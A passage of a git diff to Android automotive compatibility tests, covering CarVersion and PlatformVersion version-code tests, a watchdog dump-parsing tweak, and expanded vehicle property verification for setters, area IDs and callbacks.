+        expectWithMessage("TIRAMISU_0.toString() from parcel").that(clone.toString())
+                .isEqualTo(toString);
+
+        CarVersion anonymous = CarVersion.forMajorAndMinorVersions(version.getMajorVersion(),
+                version.getMinorVersion());
+        expectWithMessage("TIRAMISU_0").that(version).isEqualTo(anonymous);
+        expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+        expectWithMessage("TIRAMISU_0's hashcode").that(version.hashCode())
+                .isEqualTo(anonymous.hashCode());
+        expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+                .isEqualTo(version.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.CarVersion.VERSION_CODES#TIRAMISU_1"})
+    public void testTiramisu_1() {
+        CarVersion version = CarVersion.VERSION_CODES.TIRAMISU_1;
+
+        assertWithMessage("TIRAMISU_1").that(version).isNotNull();
+        expectWithMessage("TIRAMISU_1.major").that(version.getMajorVersion())
+                .isEqualTo(TIRAMISU);
+        expectWithMessage("TIRAMISU_1.minor").that(version.getMinorVersion())
+                .isEqualTo(1);
+
+        CarVersion fromEnum = ApiRequirements.CarVersion.TIRAMISU_1.get();
+        assertWithMessage("TIRAMISU_1 from enum").that(fromEnum).isNotNull();
+        expectWithMessage("TIRAMISU_1 from enum").that(fromEnum).isSameInstanceAs(version);
+
+        String toString = version.toString();
+        expectWithMessage("TIRAMISU_1.toString()").that(toString)
+                .matches(".*CarVersion.*name=TIRAMISU_1.*major=" + TIRAMISU + ".*minor=1.*");
+        CarVersion clone = clone(version);
+        expectWithMessage("TIRAMISU_1.toString() from parcel").that(clone.toString())
+                .isEqualTo(toString);
+
+        CarVersion anonymous = CarVersion.forMajorAndMinorVersions(version.getMajorVersion(),
+                version.getMinorVersion());
+        expectWithMessage("TIRAMISU_1").that(version).isEqualTo(anonymous);
+        expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+        expectWithMessage("TIRAMISU_1's hashcode").that(version.hashCode())
+                .isEqualTo(anonymous.hashCode());
+        expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+                .isEqualTo(version.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.CarVersion#CREATOR"})
+    public void testMarshalling() {
+        CarVersion original = CarVersion.forMajorAndMinorVersions(66, 6);
+        expectWithMessage("original.describeContents()").that(original.describeContents())
+                .isEqualTo(0);
+
+        CarVersion clone = clone(original);
+        assertWithMessage("CREATOR.createFromParcel()").that(clone).isNotNull();
+        expectWithMessage("clone.major").that(clone.getMajorVersion()).isEqualTo(66);
+        expectWithMessage("clone.minor").that(clone.getMinorVersion()).isEqualTo(6);
+        expectWithMessage("clone.describeContents()").that(clone.describeContents()).isEqualTo(0);
+        expectWithMessage("clone.equals()").that(clone).isEqualTo(original);
+        expectWithMessage("clone.hashCode()").that(clone.hashCode()).isEqualTo(original.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.CarVersion#CREATOR"})
+    public void testNewArray() {
+        CarVersion[] array = CarVersion.CREATOR.newArray(42);
+
+        assertWithMessage("CREATOR.newArray()").that(array).isNotNull();
+        expectWithMessage("CREATOR.newArray()").that(array).hasLength(42);
+    }
+
+    private CarVersion clone(CarVersion original) {
+        Parcel parcel =  Parcel.obtain();
+        try {
+            original.writeToParcel(parcel, /* flags= */ 0);
+            parcel.setDataPosition(0);
+
+            return CarVersion.CREATOR.createFromParcel(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
index 7f24d48..f3c8fc5 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
@@ -16,13 +16,14 @@
 
 package android.car.cts;
 
+import static android.car.PlatformVersion.VERSION_CODES;
+
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assume.assumeTrue;
-
+import android.car.Car;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Process;
@@ -45,7 +46,6 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InterruptedIOException;
-import java.lang.Math;
 import java.nio.file.Files;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -165,6 +165,8 @@
      * @return Total written bytes recorded for the current userId and package name.
      */
     private static long parseDump(String content, int userId, String packageName) throws Exception {
+        String ioWritesHeader = Car.getPlatformVersion().isAtLeast(VERSION_CODES.TIRAMISU_1)
+                ? "Top N Storage I/O Writes:" : "Top N Writes:";
         long writtenBytes = 0;
         Section curSection = Section.NONE;
         String errorLines = "";
@@ -180,7 +182,7 @@
             if (line.contains("collector failed to access")) {
                 errorLines += "\n" + line;
             }
-            if (line.matches("Top N Writes:")) {
+            if (line.matches(ioWritesHeader)) {
                 curSection = Section.WRITTEN_BYTES_HEADER_SECTION;
                 continue;
             }
diff --git a/tests/tests/car/src/android/car/cts/PlatformVersionTest.java b/tests/tests/car/src/android/car/cts/PlatformVersionTest.java
new file mode 100644
index 0000000..652c841
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/PlatformVersionTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static android.os.Build.VERSION_CODES.TIRAMISU;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.PlatformVersion;
+import android.car.annotation.ApiRequirements;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+
+public final class PlatformVersionTest extends AbstractCarLessTestCase {
+
+    @Test
+    @ApiTest(apis = {"android.car.PlatformVersion.VERSION_CODES#TIRAMISU_0"})
+    public void testTiramisu_0() {
+        PlatformVersion version = PlatformVersion.VERSION_CODES.TIRAMISU_0;
+
+        assertWithMessage("TIRAMISU_0").that(version).isNotNull();
+        expectWithMessage("TIRAMISU_0.major").that(version.getMajorVersion())
+                .isEqualTo(TIRAMISU);
+        expectWithMessage("TIRAMISU_0.minor").that(version.getMinorVersion())
+                .isEqualTo(0);
+
+        PlatformVersion fromEnum = ApiRequirements.PlatformVersion.TIRAMISU_0.get();
+        assertWithMessage("TIRAMISU_0 from enum").that(fromEnum).isNotNull();
+        expectWithMessage("TIRAMISU_0 from enum").that(fromEnum).isSameInstanceAs(version);
+
+        String toString = version.toString();
+        expectWithMessage("TIRAMISU_0.toString()").that(toString)
+                .matches(".*PlatformVersion.*name=TIRAMISU_0.*major=" + TIRAMISU + ".*minor=0.*");
+        PlatformVersion clone = clone(version);
+        expectWithMessage("TIRAMISU_0.toString() from parcel").that(clone.toString())
+                .isEqualTo(toString);
+
+        PlatformVersion anonymous = PlatformVersion.forMajorAndMinorVersions(
+                version.getMajorVersion(), version.getMinorVersion());
+        expectWithMessage("TIRAMISU_0").that(version).isEqualTo(anonymous);
+        expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+        expectWithMessage("TIRAMISU_0's hashcode").that(version.hashCode())
+                .isEqualTo(anonymous.hashCode());
+        expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+                .isEqualTo(version.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.PlatformVersion.VERSION_CODES#TIRAMISU_1"})
+    public void testTiramisu_1() {
+        PlatformVersion version = PlatformVersion.VERSION_CODES.TIRAMISU_1;
+
+        assertWithMessage("TIRAMISU_1").that(version).isNotNull();
+        expectWithMessage("TIRAMISU_1.major").that(version.getMajorVersion())
+                .isEqualTo(TIRAMISU);
+        expectWithMessage("TIRAMISU_1.minor").that(version.getMinorVersion())
+                .isEqualTo(1);
+
+        PlatformVersion fromEnum = ApiRequirements.PlatformVersion.TIRAMISU_1.get();
+        assertWithMessage("TIRAMISU_1 from enum").that(fromEnum).isNotNull();
+        expectWithMessage("TIRAMISU_1 from enum").that(fromEnum).isSameInstanceAs(version);
+
+        String toString = version.toString();
+        expectWithMessage("TIRAMISU_1.toString()").that(toString)
+                .matches(".*PlatformVersion.*name=TIRAMISU_1.*major=" + TIRAMISU + ".*minor=1.*");
+        PlatformVersion clone = clone(version);
+        expectWithMessage("TIRAMISU_1.toString() from parcel").that(clone.toString())
+                .isEqualTo(toString);
+
+        PlatformVersion anonymous = PlatformVersion.forMajorAndMinorVersions(
+                version.getMajorVersion(), version.getMinorVersion());
+        expectWithMessage("TIRAMISU_1").that(version).isEqualTo(anonymous);
+        expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+        expectWithMessage("TIRAMISU_1's hashcode").that(version.hashCode())
+                .isEqualTo(anonymous.hashCode());
+        expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+                .isEqualTo(version.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.PlatformVersion#CREATOR"})
+    public void testMarshalling() {
+        PlatformVersion original = PlatformVersion.forMajorAndMinorVersions(66, 6);
+        expectWithMessage("original.describeContents()").that(original.describeContents())
+                .isEqualTo(0);
+
+        PlatformVersion clone = clone(original);
+        assertWithMessage("CREATOR.createFromParcel()").that(clone).isNotNull();
+        expectWithMessage("clone.major").that(clone.getMajorVersion()).isEqualTo(66);
+        expectWithMessage("clone.minor").that(clone.getMinorVersion()).isEqualTo(6);
+        expectWithMessage("clone.describeContents()").that(clone.describeContents())
+                .isEqualTo(0);
+        expectWithMessage("clone.equals()").that(clone).isEqualTo(original);
+        expectWithMessage("clone.hashCode()").that(clone.hashCode()).isEqualTo(original.hashCode());
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.PlatformVersion#CREATOR"})
+    public void testNewArray() {
+        PlatformVersion[] array = PlatformVersion.CREATOR.newArray(42);
+
+        assertWithMessage("CREATOR.newArray()").that(array).isNotNull();
+    }
+
+    private PlatformVersion clone(PlatformVersion original) {
+        Parcel parcel =  Parcel.obtain();
+        try {
+            original.writeToParcel(parcel, /* flags= */ 0);
+            parcel.setDataPosition(0);
+
+            return PlatformVersion.CREATOR.createFromParcel(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+}
diff --git a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
index 1e68b01..0001420 100644
--- a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
+++ b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
@@ -173,6 +173,8 @@
                 .isEqualTo("HVAC_MAX_AC_ON");
         assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_DEFROST_ON))
                 .isEqualTo("HVAC_MAX_DEFROST_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_ELECTRIC_DEFROSTER_ON))
+                .isEqualTo("HVAC_ELECTRIC_DEFROSTER_ON");
         assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_POWER_ON))
                 .isEqualTo("HVAC_POWER_ON");
         assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_RECIRC_ON))
diff --git a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
index 743c460..e58aa1f 100644
--- a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
+++ b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
@@ -20,26 +20,66 @@
 
 import static org.junit.Assume.assumeNotNull;
 
+import android.car.VehicleAreaMirror;
+import android.car.VehicleAreaSeat;
 import android.car.VehicleAreaType;
+import android.car.VehicleAreaWheel;
+import android.car.VehicleAreaWindow;
 import android.car.VehiclePropertyIds;
+import android.car.VehiclePropertyType;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.CarPropertyValue;
 import android.car.hardware.property.CarPropertyManager;
 import android.os.SystemClock;
+import android.util.SparseArray;
+
+import com.android.internal.annotations.GuardedBy;
 
 import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Sets;
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
 import java.util.List;
 import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.stream.Collectors;
+import java.util.stream.IntStream;
 
 public class VehiclePropertyVerifier<T> {
     private final static String CAR_PROPERTY_VALUE_SOURCE_GETTER = "Getter";
     private final static String CAR_PROPERTY_VALUE_SOURCE_CALLBACK = "Callback";
+    private static final float FLOAT_INEQUALITY_THRESHOLD = 0.00001f;
+    private static final ImmutableSet<Integer> WHEEL_AREAS = ImmutableSet.of(
+            VehicleAreaWheel.WHEEL_LEFT_FRONT, VehicleAreaWheel.WHEEL_LEFT_REAR,
+            VehicleAreaWheel.WHEEL_RIGHT_FRONT, VehicleAreaWheel.WHEEL_RIGHT_REAR);
+    private static final ImmutableSet<Integer> ALL_POSSIBLE_WHEEL_AREA_IDS =
+            generateAllPossibleAreaIds(WHEEL_AREAS);
+    private static final ImmutableSet<Integer> WINDOW_AREAS = ImmutableSet.of(
+            VehicleAreaWindow.WINDOW_FRONT_WINDSHIELD, VehicleAreaWindow.WINDOW_REAR_WINDSHIELD,
+            VehicleAreaWindow.WINDOW_ROW_1_LEFT, VehicleAreaWindow.WINDOW_ROW_1_RIGHT,
+            VehicleAreaWindow.WINDOW_ROW_2_LEFT, VehicleAreaWindow.WINDOW_ROW_2_RIGHT,
+            VehicleAreaWindow.WINDOW_ROW_3_LEFT, VehicleAreaWindow.WINDOW_ROW_3_RIGHT,
+            VehicleAreaWindow.WINDOW_ROOF_TOP_1, VehicleAreaWindow.WINDOW_ROOF_TOP_2);
+    private static final ImmutableSet<Integer> ALL_POSSIBLE_WINDOW_AREA_IDS =
+            generateAllPossibleAreaIds(WINDOW_AREAS);
+    private static final ImmutableSet<Integer> MIRROR_AREAS = ImmutableSet.of(
+            VehicleAreaMirror.MIRROR_DRIVER_LEFT, VehicleAreaMirror.MIRROR_DRIVER_RIGHT,
+            VehicleAreaMirror.MIRROR_DRIVER_CENTER);
+    private static final ImmutableSet<Integer> ALL_POSSIBLE_MIRROR_AREA_IDS =
+            generateAllPossibleAreaIds(MIRROR_AREAS);
+    private static final ImmutableSet<Integer> SEAT_AREAS = ImmutableSet.of(
+            VehicleAreaSeat.SEAT_ROW_1_LEFT, VehicleAreaSeat.SEAT_ROW_1_CENTER,
+            VehicleAreaSeat.SEAT_ROW_1_RIGHT, VehicleAreaSeat.SEAT_ROW_2_LEFT,
+            VehicleAreaSeat.SEAT_ROW_2_CENTER, VehicleAreaSeat.SEAT_ROW_2_RIGHT,
+            VehicleAreaSeat.SEAT_ROW_3_LEFT, VehicleAreaSeat.SEAT_ROW_3_CENTER,
+            VehicleAreaSeat.SEAT_ROW_3_RIGHT);
+    private static final ImmutableSet<Integer> ALL_POSSIBLE_SEAT_AREA_IDS =
+            generateAllPossibleAreaIds(SEAT_AREAS);
+
 
     private final int mPropertyId;
     private final String mPropertyName;
@@ -52,7 +92,13 @@
     private final Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier;
     private final Optional<AreaIdsVerifier> mAreaIdsVerifier;
     private final ImmutableSet<Integer> mPossibleConfigArrayValues;
+    private final ImmutableSet<T> mPossibleCarPropertyValues;
     private final boolean mRequirePropertyValueToBeInConfigArray;
+    private final boolean mVerifySetterWithConfigArrayValues;
+    private final boolean mRequireMinMaxValues;
+    private final boolean mRequireMinValuesToBeZero;
+    private final boolean mRequireZeroToBeContainedInMinMaxRanges;
+    private final boolean mPossiblyDependentOnHvacPowerOn;
 
     private VehiclePropertyVerifier(int propertyId, int access, int areaType, int changeMode,
             Class<T> propertyType, boolean requiredProperty,
@@ -60,7 +106,13 @@
             Optional<CarPropertyValueVerifier> carPropertyValueVerifier,
             Optional<AreaIdsVerifier> areaIdsVerifier,
             ImmutableSet<Integer> possibleConfigArrayValues,
-            boolean requirePropertyValueToBeInConfigArray) {
+            ImmutableSet<T> possibleCarPropertyValues,
+            boolean requirePropertyValueToBeInConfigArray,
+            boolean verifySetterWithConfigArrayValues,
+            boolean requireMinMaxValues,
+            boolean requireMinValuesToBeZero,
+            boolean requireZeroToBeContainedInMinMaxRanges,
+            boolean possiblyDependentOnHvacPowerOn) {
         mPropertyId = propertyId;
         mPropertyName = VehiclePropertyIds.toString(propertyId);
         mAccess = access;
@@ -72,7 +124,13 @@
         mCarPropertyValueVerifier = carPropertyValueVerifier;
         mAreaIdsVerifier = areaIdsVerifier;
         mPossibleConfigArrayValues = possibleConfigArrayValues;
+        mPossibleCarPropertyValues = possibleCarPropertyValues;
         mRequirePropertyValueToBeInConfigArray = requirePropertyValueToBeInConfigArray;
+        mVerifySetterWithConfigArrayValues = verifySetterWithConfigArrayValues;
+        mRequireMinMaxValues = requireMinMaxValues;
+        mRequireMinValuesToBeZero = requireMinValuesToBeZero;
+        mRequireZeroToBeContainedInMinMaxRanges = requireZeroToBeContainedInMinMaxRanges;
+        mPossiblyDependentOnHvacPowerOn = possiblyDependentOnHvacPowerOn;
     }
 
     public static <T> Builder<T> newBuilder(int propertyId, int access, int areaType,
@@ -139,46 +197,163 @@
         }
 
         verifyCarPropertyConfig(carPropertyConfig);
+
+        if (mPossiblyDependentOnHvacPowerOn) {
+            CarPropertyConfig<?> hvacPowerOnCarPropertyConfig =
+                    carPropertyManager.getCarPropertyConfig(VehiclePropertyIds.HVAC_POWER_ON);
+            if (hvacPowerOnCarPropertyConfig != null
+                    && hvacPowerOnCarPropertyConfig.getConfigArray().contains(mPropertyId)) {
+                turnOnHvacPower(carPropertyManager, hvacPowerOnCarPropertyConfig);
+            }
+        }
+
         verifyCarPropertyValueGetter(carPropertyConfig, carPropertyManager);
         verifyCarPropertyValueCallback(carPropertyConfig, carPropertyManager);
+        verifyCarPropertyValueSetter(carPropertyConfig, carPropertyManager);
+    }
+
+    private void turnOnHvacPower(CarPropertyManager carPropertyManager,
+            CarPropertyConfig<?> hvacPowerOnCarPropertyConfig) {
+        for (int areaId : hvacPowerOnCarPropertyConfig.getAreaIds()) {
+            if (carPropertyManager.getProperty(VehiclePropertyIds.HVAC_POWER_ON,
+                    areaId).getValue().equals(true)) {
+                continue;
+            }
+            verifySetProperty((CarPropertyConfig<Boolean>) hvacPowerOnCarPropertyConfig,
+                    carPropertyManager, areaId, Boolean.TRUE);
+        }
+    }
+
+    private void verifyCarPropertyValueSetter(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        if (carPropertyConfig.getAccess() == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ) {
+            return;
+        }
+        if (Boolean.class.equals(carPropertyConfig.getPropertyType())) {
+            verifyBooleanPropertySetter(carPropertyConfig, carPropertyManager);
+        } else if (Integer.class.equals(carPropertyConfig.getPropertyType())) {
+            verifyIntegerPropertySetter(carPropertyConfig, carPropertyManager);
+        } else if (Float.class.equals(carPropertyConfig.getPropertyType())) {
+            verifyFloatPropertySetter(carPropertyConfig, carPropertyManager);
+        }
+    }
+
+    private void verifyBooleanPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        for (int areaId : carPropertyConfig.getAreaIds()) {
+            CarPropertyValue<Boolean> currentCarPropertyValue = carPropertyManager.getProperty(
+                    mPropertyId, areaId);
+            verifyCarPropertyValue(carPropertyConfig, currentCarPropertyValue, areaId,
+                    CAR_PROPERTY_VALUE_SOURCE_GETTER);
+            Boolean valueToSet = !currentCarPropertyValue.getValue();
+            verifySetProperty((CarPropertyConfig<Boolean>) carPropertyConfig, carPropertyManager,
+                    areaId, valueToSet);
+            verifySetProperty((CarPropertyConfig<Boolean>) carPropertyConfig, carPropertyManager,
+                    areaId, !valueToSet);
+        }
+    }
+
+    private void verifyIntegerPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        if (mVerifySetterWithConfigArrayValues) {
+            verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+                    (Collection<T>) carPropertyConfig.getConfigArray());
+        } else if (!mPossibleCarPropertyValues.isEmpty()) {
+            verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+                    mPossibleCarPropertyValues);
+        } else {
+            verifySetterWithMinMaxValues(carPropertyConfig, carPropertyManager);
+        }
+    }
+
+    private void verifySetterWithValues(CarPropertyConfig<T> carPropertyConfig,
+            CarPropertyManager carPropertyManager, Collection<T> valuesToSet) {
+        for (T valueToSet : valuesToSet) {
+            for (int areaId : carPropertyConfig.getAreaIds()) {
+                verifySetProperty(carPropertyConfig, carPropertyManager, areaId, valueToSet);
+            }
+        }
+    }
+
+    private void verifySetterWithMinMaxValues(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        for (int areaId : carPropertyConfig.getAreaIds()) {
+            if (carPropertyConfig.getMinValue(areaId) == null || carPropertyConfig.getMinValue(
+                    areaId) == null) {
+                continue;
+            }
+            List<Integer> valuesToSet = IntStream.rangeClosed(
+                    ((Integer) carPropertyConfig.getMinValue(areaId)).intValue(),
+                    ((Integer) carPropertyConfig.getMaxValue(areaId)).intValue()).boxed().collect(
+                    Collectors.toList());
+
+            for (Integer valueToSet : valuesToSet) {
+                verifySetProperty((CarPropertyConfig<Integer>) carPropertyConfig,
+                        carPropertyManager, areaId, valueToSet);
+            }
+        }
+    }
+
+    private void verifyFloatPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        if (!mPossibleCarPropertyValues.isEmpty()) {
+            verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+                    mPossibleCarPropertyValues);
+        }
+    }
+
+    private <T> void verifySetProperty(CarPropertyConfig<T> carPropertyConfig,
+            CarPropertyManager carPropertyManager, int areaId, T valueToSet) {
+        CarPropertyValue<T> currentCarPropertyValue = carPropertyManager.getProperty(
+                mPropertyId, areaId);
+        verifyCarPropertyValue(carPropertyConfig, currentCarPropertyValue, areaId,
+                CAR_PROPERTY_VALUE_SOURCE_GETTER);
+        if (valueEquals(valueToSet, currentCarPropertyValue.getValue())) {
+            return;
+        }
+        SetterCallback setterCallback = new SetterCallback(mPropertyId, mPropertyName, areaId,
+                valueToSet);
+        assertWithMessage("Failed to register setter callback for " + mPropertyName).that(
+                carPropertyManager.registerCallback(setterCallback, mPropertyId,
+                        CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
+        carPropertyManager.setProperty(carPropertyConfig.getPropertyType(), mPropertyId, areaId,
+                valueToSet);
+        CarPropertyValue<?> updatedCarPropertyValue =
+                setterCallback.waitForUpdatedCarPropertyValue();
+        verifyCarPropertyValue(carPropertyConfig, updatedCarPropertyValue, areaId,
+                CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
+        carPropertyManager.unregisterCallback(setterCallback, mPropertyId);
     }
 
     private void verifyCarPropertyValueCallback(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
-        if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC
-                || mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE) {
-            CarPropertyValueCallback carPropertyValueCallback =
-                    new CarPropertyValueCallback(mPropertyName,
-                            carPropertyConfig.getAreaIds().length);
-            assertWithMessage("Failed to register callback for " + mPropertyName).that(
-                    carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
-                            CarPropertyManager.SENSOR_RATE_ONCHANGE)).isTrue();
-            List<CarPropertyValue<?>> carPropertyValues =
-                    carPropertyValueCallback.getCarPropertyValues();
-            carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
+        int updatesPerAreaId = 1;
+        long timeoutMillis = 1500;
+        if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
+            updatesPerAreaId = 2;
+            float secondsToMillis = 1_000;
+            long bufferMillis = 1_000; // 1 second
+            timeoutMillis = ((long) ((1.0f / carPropertyConfig.getMinSampleRate()) * secondsToMillis
+                    * updatesPerAreaId)) + bufferMillis;
+        }
 
-            for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
-                verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
-                        carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
-            }
-            assertWithMessage(mPropertyName
-                    + " callback values did not cover all the property's area IDs").that(
-                    carPropertyValues.stream().map(CarPropertyValue::getAreaId).collect(
-                            Collectors.toList())
-            ).containsExactlyElementsIn(
-                    Arrays.stream(carPropertyConfig.getAreaIds()).boxed().collect(
-                            Collectors.toList()));
+        CarPropertyValueCallback carPropertyValueCallback = new CarPropertyValueCallback(
+                mPropertyName, carPropertyConfig.getAreaIds(), updatesPerAreaId, timeoutMillis);
+        assertWithMessage("Failed to register callback for " + mPropertyName).that(
+                carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
+                        carPropertyConfig.getMaxSampleRate())).isTrue();
+        SparseArray<List<CarPropertyValue<?>>> areaIdToCarPropertyValues =
+                carPropertyValueCallback.getAreaIdToCarPropertyValues();
+        carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
 
-        } else if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
-            CarPropertyValueCallback carPropertyValueCallback =
-                    new CarPropertyValueCallback(mPropertyName, 1);
-            assertWithMessage("Failed to register callback for " + mPropertyName).that(
-                    carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
-                            CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
-            List<CarPropertyValue<?>> carPropertyValues =
-                    carPropertyValueCallback.getCarPropertyValues();
-            carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
-
+        for (int areaId : carPropertyConfig.getAreaIds()) {
+            List<CarPropertyValue<?>> carPropertyValues = areaIdToCarPropertyValues.get(areaId);
+            assertWithMessage(
+                    mPropertyName + " callback value list is null for area ID: " + areaId).that(
+                    carPropertyValues).isNotNull();
+            assertWithMessage(mPropertyName + " callback values did not receive " + updatesPerAreaId
+                    + " updates for area ID: " + areaId).that(carPropertyValues.size()).isAtLeast(
+                    updatesPerAreaId);
             for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
                 verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
                         carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
@@ -212,6 +387,12 @@
         assertWithMessage(mPropertyName + " must be " + mPropertyType + " type property")
                 .that(carPropertyConfig.getPropertyType()).isEqualTo(mPropertyType);
 
+        assertWithMessage(mPropertyName + "'s must have at least 1 area ID defined").that(
+                carPropertyConfig.getAreaIds().length).isAtLeast(1);
+        assertWithMessage(mPropertyName + "'s area IDs must all be unique: " + Arrays.toString(
+                carPropertyConfig.getAreaIds())).that(ImmutableSet.copyOf(Arrays.stream(
+                carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList())).size()
+                == carPropertyConfig.getAreaIds().length).isTrue();
         if (mAreaIdsVerifier.isPresent()) {
             mAreaIdsVerifier.get().verify(carPropertyConfig.getAreaIds());
         } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
@@ -219,6 +400,18 @@
                     mPropertyName + "'s AreaIds must contain a single 0 since it is "
                             + areaTypeToString(mAreaType))
                     .that(carPropertyConfig.getAreaIds()).isEqualTo(new int[]{0});
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL) {
+            verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_WHEEL_AREA_IDS);
+            verifyNoAreaOverlapInAreaIds(carPropertyConfig, WHEEL_AREAS);
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW) {
+            verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_WINDOW_AREA_IDS);
+            verifyNoAreaOverlapInAreaIds(carPropertyConfig, WINDOW_AREAS);
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR) {
+            verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_MIRROR_AREA_IDS);
+            verifyNoAreaOverlapInAreaIds(carPropertyConfig, MIRROR_AREAS);
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_SEAT) {
+            verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_SEAT_AREA_IDS);
+            verifyNoAreaOverlapInAreaIds(carPropertyConfig, SEAT_AREAS);
         }
 
         if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
@@ -248,6 +441,62 @@
             assertWithMessage(mPropertyName + " configArray is undefined, so it must be empty")
                     .that(carPropertyConfig.getConfigArray().size()).isEqualTo(0);
         }
+
+        for (int areaId : carPropertyConfig.getAreaIds()) {
+            T areaIdMinValue = (T) carPropertyConfig.getMinValue(areaId);
+            T areaIdMaxValue = (T) carPropertyConfig.getMaxValue(areaId);
